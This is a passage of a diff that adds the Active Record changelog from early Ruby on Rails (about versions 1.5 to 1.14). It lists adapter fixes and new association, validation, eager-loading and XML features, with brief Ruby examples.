+ some circumstances, active record appears to delete parent and child records out of
+ sequence and out of transaction scope. (Or this may just be a problem of test setup.)
+
+ The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
+
+* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 *YuriSchimke*
+
+* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 *yerejm*
+
+* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 *tonka*
+
+* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 *Nicholas Seckar*
+
+* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 *daniel@nightrunner.com*
+
+* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 *adelle@bullet.net.au*
+
+* Fixed that find_by_* would fail when column names had numbers #670 *demetrius*
+
+* Fixed the SQL Server adapter on a bunch of issues #667 *DeLynn*
+
+ 1. Created a new columns method that is much cleaner.
+ 2. Corrected a problem with the select and select_all methods
+ that didn't account for the LIMIT clause being passed into raw SQL statements.
+ 3. Implemented the string_to_time method in order to create proper instances of the time class.
+ 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
+ 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
+
+* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 *lmarlow*
+
+* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
+
+ class Person < ActiveRecord::Base
+ validates_each :first_name, :last_name do |record, attr|
+ record.errors.add attr, 'starts with z.' if attr[0] == ?z
+ end
+ end
+
+* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 *Jeremy Kemper*
+
+* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
+
+ class Person < ActiveRecord::Base
+ validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
+ end
+
+* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 *Tim Bates*
+
+* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
+
+ class Project < ActiveRecord::Base
+ primary_key "sysid"
+ table_name "XYZ_PROJECT"
+ inheritance_column { original_inheritance_column + "_id" }
+ end
+
+* Fixed Base#clone for use with PostgreSQL #565 *hanson@surgery.wisc.edu*
+
+
+## 1.6.0 (January 25th, 2005) ##
+
+* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
+
+* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
+
+* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
+
+* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
+
+ people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
+ Person.update(people.keys, people.values)
+
+* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 *Scott Baron*
+
+* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 *notahat*
+
+* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 *Demetrius*
+
+* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 *Jeremy Kemper*
+
+* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 *Eric Anderson*
+
+* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 *Eric Anderson*
+
+* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
+
+* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
+
+* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 *Demetrius*
+
+* Fixed that find_all would produce invalid sql when called sequentialy #490 *Scott Baron*
+
+
+## 1.5.1 (January 18th, 2005) ##
+
+* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 *Tim Bates*
+
+* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 *Pelle*
+
+
+## 1.5.0 (January 17th, 2005) ##
+
+* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 *Eric Hodel*
+
+* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
+
+ class Book < ActiveRecord::Base
+ has_many :pages
+ belongs_to :library
+
+ validates_associated :pages, :library
+ end
+
+* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
+
+ == Unsaved objects and associations
+
+ You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
+ aware of, mostly involving the saving of associated objects.
+
+ === One-to-one associations
+
+ * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
+ order to update their primary keys - except if the parent object is unsaved (new_record? == true).
+ * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
+ is cancelled.
+ * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
+ * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
+ not save the parent either.
+
+ === Collections
+
+ * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
+ (the owner of the collection) is not yet stored in the database.
+ * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
+ * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
+ * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
+
+* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 *Tim Bates*
+
+* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 *Tim Bates*
+
+* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 *Tim Bates*
+
+* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 *Tim Bates*
+
+* Fixed binary support for PostgreSQL #444 *alex@byzantine.no*
+
+* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
+ collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
+ it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
+ it'll take one less SELECT query if you use length.
+
+* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 *atyp.de*
+
+* Fixed that foreign keys named the same as the association would cause stack overflow #437 *Eric Anderson*
+
+* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 *Alexey*
+
+* Added Base#reload that reloads the attributes of an object from the database #422 *Andreas Schwarz*
+
+* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 *Jeremy Kemper*
+
+* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 *Matt Mower*
+
+* Added that Observers can use the observes class method instead of overwriting self.observed_class().
+
+ Before:
+ class ListSweeper < ActiveRecord::Base
+ def self.observed_class() [ List, Item ]
+ end
+
+ After:
+ class ListSweeper < ActiveRecord::Base
+ observes List, Item
+ end
+
+* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
+
+* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
+
+* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
+
+ Before: topic.update_attribute(:approved, !approved?)
+ After : topic.toggle!(:approved)
+
+* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
+
+ page.views # => 1
+ page.increment!(:views) # executes an UPDATE statement
+ page.views # => 2
+
+ page.increment(:views).increment!(:views)
+ page.views # => 4
+
+* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
+
+
+
+
+## 1.14.2 (April 9th, 2005) ##
+
+* Fixed calculations for the Oracle Adapter (closes #4626) *Michael Schoen*
+
+
+## 1.14.1 (April 6th, 2006) ##
+
+* Fix type_name_with_module to handle type names that begin with '::'. Closes #4614. *Nicholas Seckar*
+
+* Fixed that that multiparameter assignment doesn't work with aggregations (closes #4620) *Lars Pind*
+
+* Enable Limit/Offset in Calculations (closes #4558) *lmarlow*
+
+* Fixed that loading including associations returns all results if Load IDs For Limited Eager Loading returns none (closes #4528) *Rick Olson*
+
+* Fixed HasManyAssociation#find bugs when :finder_sql is set #4600 *lagroue@free.fr*
+
+* Allow AR::Base#respond_to? to behave when @attributes is nil *Ryan Davis*
+
+* Support eager includes when going through a polymorphic has_many association. *Rick Olson*
+
+* Added support for eagerly including polymorphic has_one associations. (closes #4525) *Rick Olson*
+
+ class Post < ActiveRecord::Base
+ has_one :tagging, :as => :taggable
+ end
+
+ Post.find :all, :include => :tagging
+
+* Added descriptive error messages for invalid has_many :through associations: going through :has_one or :has_and_belongs_to_many *Rick Olson*
+
+* Added support for going through a polymorphic has_many association: (closes #4401) *Rick Olson*
+
+ class PhotoCollection < ActiveRecord::Base
+ has_many :photos, :as => :photographic
+ belongs_to :firm
+ end
+
+ class Firm < ActiveRecord::Base
+ has_many :photo_collections
+ has_many :photos, :through => :photo_collections
+ end
+
+* Multiple fixes and optimizations in PostgreSQL adapter, allowing ruby-postgres gem to work properly. *ruben.nine@gmail.com*
+
+* Fixed that AssociationCollection#delete_all should work even if the records of the association are not loaded yet. *Florian Weber*
+
+* Changed those private ActiveRecord methods to take optional third argument :auto instead of nil for performance optimizations. (closes #4456) *Stefan*
+
+* Private ActiveRecord methods add_limit!, add_joins!, and add_conditions! take an OPTIONAL third argument 'scope' (closes #4456) *Rick Olson*
+
+* DEPRECATED: Using additional attributes on has_and_belongs_to_many associations. Instead upgrade your association to be a real join model *David Heinemeier Hansson*
+
+* Fixed that records returned from has_and_belongs_to_many associations with additional attributes should be marked as read only (fixes #4512) *David Heinemeier Hansson*
+
+* Do not implicitly mark recordss of has_many :through as readonly but do mark habtm records as readonly (eventually only on join tables without rich attributes). *Marcel Mollina Jr.*
+
+* Fixed broken OCIAdapter #4457 *Michael Schoen*
+
+
+## 1.14.0 (March 27th, 2006) ##
+
+* Replace 'rescue Object' with a finer grained rescue. Closes #4431. *Nicholas Seckar*
+
+* Fixed eager loading so that an aliased table cannot clash with a has_and_belongs_to_many join table *Rick Olson*
+
+* Add support for :include to with_scope *andrew@redlinesoftware.com*
+
+* Support the use of public synonyms with the Oracle adapter; required ruby-oci8 v0.1.14 #4390 *Michael Schoen*
+
+* Change periods (.) in table aliases to _'s. Closes #4251 *jeff@ministrycentered.com*
+
+* Changed has_and_belongs_to_many join to INNER JOIN for Mysql 3.23.x. Closes #4348 *Rick Olson*
+
+* Fixed issue that kept :select options from being scoped *Rick Olson*
+
+* Fixed db_schema_import when binary types are present #3101 *David Heinemeier Hansson*
+
+* Fixed that MySQL enums should always be returned as strings #3501 *David Heinemeier Hansson*
+
+* Change has_many :through to use the :source option to specify the source association. :class_name is now ignored. *Rick Olson*
+
+ class Connection < ActiveRecord::Base
+ belongs_to :user
+ belongs_to :channel
+ end
+
+ class Channel < ActiveRecord::Base
+ has_many :connections
+ has_many :contacts, :through => :connections, :class_name => 'User' # OLD
+ has_many :contacts, :through => :connections, :source => :user # NEW
+ end
+
+* Fixed DB2 adapter so nullable columns will be determines correctly now and quotes from column default values will be removed #4350 *contact@maik-schmidt.de*
+
+* Allow overriding of find parameters in scoped has_many :through calls *Rick Olson*
+
+ In this example, :include => false disables the default eager association from loading. :select changes the standard
+ select clause. :joins specifies a join that is added to the end of the has_many :through query.
+
+ class Post < ActiveRecord::Base
+ has_many :tags, :through => :taggings, :include => :tagging do
+ def add_joins_and_select
+ find :all, :select => 'tags.*, authors.id as author_id', :include => false,
+ :joins => 'left outer join posts on taggings.taggable_id = posts.id left outer join authors on posts.author_id = authors.id'
+ end
+ end
+ end
+
+* Fixed that schema changes while the database was open would break any connections to an SQLite database (now we reconnect if that error is throw) *David Heinemeier Hansson*
+
+* Don't classify the has_one class when eager loading, it is already singular. Add tests. (closes #4117) *Jonathan Viney*
+
+* Quit ignoring default :include options in has_many :through calls *Mark James*
+
+* Allow has_many :through associations to find the source association by setting a custom class (closes #4307) *Jonathan Viney*
+
+* Eager Loading support added for has_many :through => :has_many associations (see below). *Rick Olson*
+
+* Allow has_many :through to work on has_many associations (closes #3864) [sco@scottraymond.net] Example:
+
+ class Firm < ActiveRecord::Base
+ has_many :clients
+ has_many :invoices, :through => :clients
+ end
+
+ class Client < ActiveRecord::Base
+ belongs_to :firm
+ has_many :invoices
+ end
+
+ class Invoice < ActiveRecord::Base
+ belongs_to :client
+ end
+
+* Raise error when trying to select many polymorphic objects with has_many :through or :include (closes #4226) *Josh Susser*
+
+* Fixed has_many :through to include :conditions set on the :through association. closes #4020 *Jonathan Viney*
+
+* Fix that has_many :through honors the foreign key set by the belongs_to association in the join model (closes #4259) *andylien@gmail.com / Rick Olson*
+
+* SQL Server adapter gets some love #4298 *Ryan Tomayko*
+
+* Added OpenBase database adapter that builds on top of the http://www.spice-of-life.net/ruby-openbase/ driver. All functionality except LIMIT/OFFSET is supported #3528 *derrickspell@cdmplus.com*
+
+* Rework table aliasing to account for truncated table aliases. Add smarter table aliasing when doing eager loading of STI associations. This allows you to use the association name in the order/where clause. [Jonathan Viney / Rick Olson] #4108 Example (SpecialComment is using STI):
+
+ Author.find(:all, :include => { :posts => :special_comments }, :order => 'special_comments.body')
+
+* Add AbstractAdapter#table_alias_for to create table aliases according to the rules of the current adapter. *Rick Olson*
+
+* Provide access to the underlying database connection through Adapter#raw_connection. Enables the use of db-specific methods without complicating the adapters. #2090 *Michael Koziarski*
+
+* Remove broken attempts at handling columns with a default of 'now()' in the postgresql adapter. #2257 *Michael Koziarski*
+
+* Added connection#current_database that'll return of the current database (only works in MySQL, SQL Server, and Oracle so far -- please help implement for the rest of the adapters) #3663 *Tom Ward*
+
+* Fixed that Migration#execute would have the table name prefix appended to its query #4110 *mark.imbriaco@pobox.com*
+
+* Make all tinyint(1) variants act like boolean in mysql (tinyint(1) unsigned, etc.) *Jamis Buck*
+
+* Use association's :conditions when eager loading. [Jeremy Evans] #4144
+
+* Alias the has_and_belongs_to_many join table on eager includes. #4106 *Jeremy Evans*
+
+ This statement would normally error because the projects_developers table is joined twice, and therefore joined_on would be ambiguous.
+
+ Developer.find(:all, :include => {:projects => :developers}, :conditions => 'join_project_developers.joined_on IS NOT NULL')
+
+* Oracle adapter gets some love #4230 *Michael Schoen*
+
+ * Changes :text to CLOB rather than BLOB [Moses Hohman]
+ * Fixes an issue with nil numeric length/scales (several)
+ * Implements support for XMLTYPE columns [wilig / Kubo Takehiro]
+ * Tweaks a unit test to get it all green again
+ * Adds support for #current_database
+
+* Added Base.abstract_class? that marks which classes are not part of the Active Record hierarchy #3704 *Rick Olson*
+
+ class CachedModel < ActiveRecord::Base
+ self.abstract_class = true
+ end
+
+ class Post < CachedModel
+ end
+
+ CachedModel.abstract_class?
+ => true
+
+ Post.abstract_class?
+ => false
+
+ Post.base_class
+ => Post
+
+ Post.table_name
+ => 'posts'
+
+* Allow :dependent options to be used with polymorphic joins. #3820 *Rick Olson*
+
+ class Foo < ActiveRecord::Base
+ has_many :attachments, :as => :attachable, :dependent => :delete_all
+ end
+
+* Nicer error message on has_many :through when :through reflection can not be found. #4042 *court3nay*
+
+* Upgrade to Transaction::Simple 1.3 *Jamis Buck*
+
+* Catch FixtureClassNotFound when using instantiated fixtures on a fixture that has no ActiveRecord model *Rick Olson*
+
+* Allow ordering of calculated results and/or grouped fields in calculations *solo@gatelys.com*
+
+* Make ActiveRecord::Base#save! return true instead of nil on success. #4173 *johan@johansorensen.com*
+
+* Dynamically set allow_concurrency. #4044 *Stefan Kaes*
+
+* Added Base#to_xml that'll turn the current record into a XML representation [David Heinemeier Hansson]. Example:
+
+ topic.to_xml
+
+ ...returns:
+
+ <?xml version="1.0" encoding="UTF-8"?>
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <id type="integer">1</id>
+ <approved type="boolean">false</approved>
+ <replies-count type="integer">0</replies-count>
+ <bonus-time type="datetime">2000-01-01 08:28:00</bonus-time>
+ <written-on type="datetime">2003-07-16 09:28:00</written-on>
+ <content>Have a nice day</content>
+ <author-email-address>david@loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ <last-read type="date">2004-04-15</last-read>
+ </topic>
+
+ ...and you can configure with:
+
+ topic.to_xml(:skip_instruct => true, :except => [ :id, bonus_time, :written_on, replies_count ])
+
+ ...that'll return:
+
+ <topic>
+ <title>The First Topic</title>
+ <author-name>David</author-name>
+ <approved type="boolean">false</approved>
+ <content>Have a nice day</content>
+ <author-email-address>david@loudthinking.com</author-email-address>
+ <parent-id></parent-id>
+ <last-read type="date">2004-04-15</last-read>
+ </topic>
+
+ You can even do load first-level associations as part of the document:
+
+ firm.to_xml :include => [ :account, :clients ]
+
+ ...that'll return something like:
+
+ <?xml version="1.0" encoding="UTF-8"?>
+ <firm>
+ <id type="integer">1</id>
+ <rating type="integer">1</rating>
+ <name>37signals</name>
+ <clients>
+ <client>
+ <rating type="integer">1</rating>
+ <name>Summit</name>
+ </client>
+ <client>
+ <rating type="integer">1</rating>
+ <name>Microsoft</name>
+ </client>
+ </clients>
+ <account>
+ <id type="integer">1</id>
+ <credit-limit type="integer">50</credit-limit>
+ </account>
+ </firm>
+
+* Allow :counter_cache to take a column name for custom counter cache columns *Jamis Buck*
+
+* Documentation fixes for :dependent *robby@planetargon.com*
+
+* Stop the MySQL adapter crashing when views are present. #3782 *Jonathan Viney*
+
+* Don't classify the belongs_to class, it is already singular #4117 *keithm@infused.org*
+
+* Allow set_fixture_class to take Classes instead of strings for a class in a module. Raise FixtureClassNotFound if a fixture can't load. *Rick Olson*
+
+* Fix quoting of inheritance column for STI eager loading #4098 *Jonathan Viney <jonathan@bluewire.net.nz>*
+
+* Added smarter table aliasing for eager associations for multiple self joins #3580 *Rick Olson*
+
+ * The first time a table is referenced in a join, no alias is used.
+ * After that, the parent class name and the reflection name are used.
+
+ Tree.find(:all, :include => :children) # LEFT OUTER JOIN trees AS tree_children ...
+
+ * Any additional join references get a numerical suffix like '_2', '_3', etc.
+
+* Fixed eager loading problems with single-table inheritance #3580 [Rick Olson]. Post.find(:all, :include => :special_comments) now returns all posts, and any special comments that the posts may have. And made STI work with has_many :through and polymorphic belongs_to.
+
+* Added cascading eager loading that allows for queries like Author.find(:all, :include=> { :posts=> :comments }), which will fetch all authors, their posts, and the comments belonging to those posts in a single query (using LEFT OUTER JOIN) #3913 [anna@wota.jp]. Examples:
+
+ # cascaded in two levels
+ >> Author.find(:all, :include=>{:posts=>:comments})
+ => authors
+ +- posts
+ +- comments
+
+ # cascaded in two levels and normal association
+ >> Author.find(:all, :include=>[{:posts=>:comments}, :categorizations])
+ => authors
+ +- posts
+ +- comments
+ +- categorizations
+
+ # cascaded in two levels with two has_many associations
+ >> Author.find(:all, :include=>{:posts=>[:comments, :categorizations]})
+ => authors
+ +- posts
+ +- comments
+ +- categorizations
+
+ # cascaded in three levels
+ >> Company.find(:all, :include=>{:groups=>{:members=>{:favorites}}})
+ => companies
+ +- groups
+ +- members
+ +- favorites
+
+* Make counter cache work when replacing an association #3245 *eugenol@gmail.com*
+
+* Make migrations verbose *Jamis Buck*
+
+* Make counter_cache work with polymorphic belongs_to *Jamis Buck*
+
+* Fixed that calling HasOneProxy#build_model repeatedly would cause saving to happen #4058 *anna@wota.jp*
+
+* Added Sybase database adapter that relies on the Sybase Open Client bindings (see http://raa.ruby-lang.org/project/sybase-ctlib) #3765 [John Sheets]. It's almost completely Active Record compliant (including migrations), but has the following caveats:
+
+ * Does not support DATE SQL column types; use DATETIME instead.
+ * Date columns on HABTM join tables are returned as String, not Time.
+ * Insertions are potentially broken for :polymorphic join tables
+ * BLOB column access not yet fully supported
+
+* Clear stale, cached connections left behind by defunct threads. *Jeremy Kemper*
+
+* CHANGED DEFAULT: set ActiveRecord::Base.allow_concurrency to false. Most AR usage is in single-threaded applications. *Jeremy Kemper*
+
+* Renamed the "oci" adapter to "oracle", but kept the old name as an alias #4017 *Michael Schoen*
+
+* Fixed that Base.save should always return false if the save didn't succeed, including if it has halted by before_save's #1861, #2477 *David Heinemeier Hansson*
+
+* Speed up class -> connection caching and stale connection verification. #3979 *Stefan Kaes*
+
+* Add set_fixture_class to allow the use of table name accessors with models which use set_table_name. *Kevin Clark*
+
+* Added that fixtures to placed in subdirectories of the main fixture files are also loaded #3937 *dblack@wobblini.net*
+
+* Define attribute query methods to avoid method_missing calls. #3677 *Jonathan Viney*
+
+* ActiveRecord::Base.remove_connection explicitly closes database connections and doesn't corrupt the connection cache. Introducing the disconnect! instance method for the PostgreSQL, MySQL, and SQL Server adapters; implementations for the others are welcome. #3591 *Simon Stapleton, Tom Ward*
+
+* Added support for nested scopes #3407 [anna@wota.jp]. Examples:
+
+ Developer.with_scope(:find => { :conditions => "salary > 10000", :limit => 10 }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (salary > 10000) LIMIT 10
+
+ # inner rule is used. (all previous parameters are ignored)
+ Developer.with_exclusive_scope(:find => { :conditions => "name = 'Jamis'" }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (name = 'Jamis')
+ end
+
+ # parameters are merged
+ Developer.with_scope(:find => { :conditions => "name = 'Jamis'" }) do
+ Developer.find(:all) # => SELECT * FROM developers WHERE (( salary > 10000 ) AND ( name = 'Jamis' )) LIMIT 10
+ end
+ end
+
+* Fixed db2 connection with empty user_name and auth options #3622 *phurley@gmail.com*
+
+* Fixed validates_length_of to work on UTF-8 strings by using characters instead of bytes #3699 *Masao Mutoh*
+
+* Fixed that reflections would bleed across class boundaries in single-table inheritance setups #3796 *Lars Pind*
+
+* Added calculations: Base.count, Base.average, Base.sum, Base.minimum, Base.maxmium, and the generic Base.calculate. All can be used with :group and :having. Calculations and statitics need no longer require custom SQL. #3958 [Rick Olson]. Examples:
+
+ Person.average :age
+ Person.minimum :age
+ Person.maximum :age
+ Person.sum :salary, :group => :last_name
+
+* Renamed Errors#count to Errors#size but kept an alias for the old name (and included an alias for length too) #3920 *Luke Redpath*
+
+* Reflections don't attempt to resolve module nesting of association classes. Simplify type computation. *Jeremy Kemper*
+
+* Improved the Oracle OCI Adapter with better performance for column reflection (from #3210), fixes to migrations (from #3476 and #3742), tweaks to unit tests (from #3610), and improved documentation (from #2446) #3879 *Aggregated by schoenm@earthlink.net*
+
+* Fixed that the schema_info table used by ActiveRecord::Schema.define should respect table pre- and suffixes #3834 *rubyonrails@atyp.de*
+
+* Added :select option to Base.count that'll allow you to select something else than * to be counted on. Especially important for count queries using DISTINCT #3839 *Stefan Kaes*
+
+* Correct syntax error in mysql DDL, and make AAACreateTablesTest run first *Bob Silva*
+
+* Allow :include to be used with has_many :through associations #3611 *Michael Schoen*
+
+* PostgreSQL: smarter schema dumps using pk_and_sequence_for(table). #2920 *Blair Zajac*
+
+* SQLServer: more compatible limit/offset emulation. #3779 *Tom Ward*
+
+* Polymorphic join support for has_one associations (has_one :foo, :as => :bar) #3785 *Rick Olson*
+
+* PostgreSQL: correctly parse negative integer column defaults. #3776 *bellis@deepthought.org*
+
+* Fix problems with count when used with :include *Jeremy Hopple and Kevin Clark*
+
+* ActiveRecord::RecordInvalid now states which validations failed in its default error message *Tobias Lütke*
+
+* Using AssociationCollection#build with arrays of hashes should call build, not create *David Heinemeier Hansson*
+
+* Remove definition of reloadable? from ActiveRecord::Base to make way for new Reloadable code. *Nicholas Seckar*
+
+* Fixed schema handling for DB2 adapter that didn't work: an initial schema could be set, but it wasn't used when getting tables and indexes #3678 *Maik Schmidt*
+
+* Support the :column option for remove_index with the PostgreSQL adapter. #3661 *Shugo Maeda*
+
+* Add documentation for add_index and remove_index. #3600 *Manfred Stienstra <m.stienstra@fngtps.com>*
+
+* If the OCI library is not available, raise an exception indicating as much. #3593 *Michael Schoen*
+
+* Add explicit :order in finder tests as postgresql orders results differently by default. #3577. *Rick Olson*
+
+* Make dynamic finders honor additional passed in :conditions. #3569 *Oleg Pudeyev <pudeyo@rpi.edu>, Marcel Molina Jr.*
+
+* Show a meaningful error when the DB2 adapter cannot be loaded due to missing dependencies. *Nicholas Seckar*
+
+* Make .count work for has_many associations with multi line finder sql *Michael Schoen*
+
+* Add AR::Base.base_class for querying the ancestor AR::Base subclass *Jamis Buck*
+
+* Allow configuration of the column used for optimistic locking *wilsonb@gmail.com*
+
+* Don't hardcode 'id' in acts as list. *ror@philippeapril.com*
+
+* Fix date errors for SQLServer in association tests. #3406 *Kevin Clark*
+
+* Escape database name in MySQL adapter when creating and dropping databases. #3409 *anna@wota.jp*
+
+* Disambiguate table names for columns in validates_uniqueness_of's WHERE clause. #3423 *alex.borovsky@gmail.com*
+
+* .with_scope imposed create parameters now bypass attr_protected *Tobias Lütke*
+
+* Don't raise an exception when there are more keys than there are named bind variables when sanitizing conditions. *Marcel Molina Jr.*
+
+* Multiple enhancements and adjustments to DB2 adaptor. #3377 *contact@maik-schmidt.de*
+
+* Sanitize scoped conditions. *Marcel Molina Jr.*
+
+* Added option to Base.reflection_of_all_associations to specify a specific association to scope the call. For example Base.reflection_of_all_associations(:has_many) *David Heinemeier Hansson*
+
+* Added ActiveRecord::SchemaDumper.ignore_tables which tells SchemaDumper which tables to ignore. Useful for tables with funky column like the ones required for tsearch2. *Tobias Lütke*
+
+* SchemaDumper now doesn't fail anymore when there are unknown column types in the schema. Instead the table is ignored and a Comment is left in the schema.rb. *Tobias Lütke*
+
+* Fixed that saving a model with multiple habtm associations would only save the first one. #3244 *yanowitz-rubyonrails@quantumfoam.org, Florian Weber*
+
+* Fix change_column to work with PostgreSQL 7.x and 8.x. #3141 *wejn@box.cz, Rick Olson, Scott Barron*
+
+* removed :piggyback in favor of just allowing :select on :through associations. *Tobias Lütke*
+
+* made method missing delegation to class methods on relation target work on :through associations. *Tobias Lütke*
+
+* made .find() work on :through relations. *Tobias Lütke*
+
+* Fix typo in association docs. #3296. *Blair Zajac*
+
+* Fixed :through relations when using STI inherited classes would use the inherited class's name as foreign key on the join model *Tobias Lütke*
+
+## 1.13.2 (December 13th, 2005) ##
+
+* Become part of Rails 1.0
+
+* MySQL: allow encoding option for mysql.rb driver. *Jeremy Kemper*
+
+* Added option inheritance for find calls on has_and_belongs_to_many and has_many assosociations [David Heinemeier Hansson]. Example:
+
+ class Post
+ has_many :recent_comments, :class_name => "Comment", :limit => 10, :include => :author
+ end
+
+ post.recent_comments.find(:all) # Uses LIMIT 10 and includes authors
+ post.recent_comments.find(:all, :limit => nil) # Uses no limit but include authors
+ post.recent_comments.find(:all, :limit => nil, :include => nil) # Uses no limit and doesn't include authors
+
+* Added option to specify :group, :limit, :offset, and :select options from find on has_and_belongs_to_many and has_many assosociations *David Heinemeier Hansson*
+
+* MySQL: fixes for the bundled mysql.rb driver. #3160 *Justin Forder*
+
+* SQLServer: fix obscure optimistic locking bug. #3068 *kajism@yahoo.com*
+
+* SQLServer: support uniqueidentifier columns. #2930 *keithm@infused.org*
+
+* SQLServer: cope with tables names qualified by owner. #3067 *jeff@ministrycentered.com*
+
+* SQLServer: cope with columns with "desc" in the name. #1950 *Ron Lusk, Ryan Tomayko*
+
+* SQLServer: cope with primary keys with "select" in the name. #3057 *rdifrango@captechventures.com*
+
+* Oracle: active? performs a select instead of a commit. #3133 *Michael Schoen*
+
+* MySQL: more robust test for nullified result hashes. #3124 *Stefan Kaes*
+
+* Reloading an instance refreshes its aggregations as well as its associations. #3024 *François Beausoleil*
+
+* Fixed that using :include together with :conditions array in Base.find would cause NoMethodError #2887 *Paul Hammmond*
+
+* PostgreSQL: more robust sequence name discovery. #3087 *Rick Olson*
+
+* Oracle: use syntax compatible with Oracle 8. #3131 *Michael Schoen*
+
+* MySQL: work around ruby-mysql/mysql-ruby inconsistency with mysql.stat. Eliminate usage of mysql.ping because it doesn't guarantee reconnect. Explicitly close and reopen the connection instead. *Jeremy Kemper*
+
+* Added preliminary support for polymorphic associations *David Heinemeier Hansson*
+
+* Added preliminary support for join models *David Heinemeier Hansson*
+
+* Allow validate_uniqueness_of to be scoped by more than just one column. #1559. *jeremy@jthopple.com, Marcel Molina Jr.*
+
+* Firebird: active? and reconnect! methods for handling stale connections. #428 *Ken Kunz <kennethkunz@gmail.com>*
+
+* Firebird: updated for FireRuby 0.4.0. #3009 *Ken Kunz <kennethkunz@gmail.com>*
+
+* MySQL and PostgreSQL: active? compatibility with the pure-Ruby driver. #428 *Jeremy Kemper*
+
+* Oracle: active? check pings the database rather than testing the last command status. #428 *Michael Schoen*
+
+* SQLServer: resolve column aliasing/quoting collision when using limit or offset in an eager find. #2974 *kajism@yahoo.com*
+
+* Reloading a model doesn't lose track of its connection. #2996 *junk@miriamtech.com, Jeremy Kemper*
+
+* Fixed bug where using update_attribute after pushing a record to a habtm association of the object caused duplicate rows in the join table. #2888 *colman@rominato.com, Florian Weber, Michael Schoen*
+
+* MySQL, PostgreSQL: reconnect! also reconfigures the connection. Otherwise, the connection 'loses' its settings if it times out and is reconnected. #2978 *Shugo Maeda*
+
+* has_and_belongs_to_many: use JOIN instead of LEFT JOIN. *Jeremy Kemper*
+
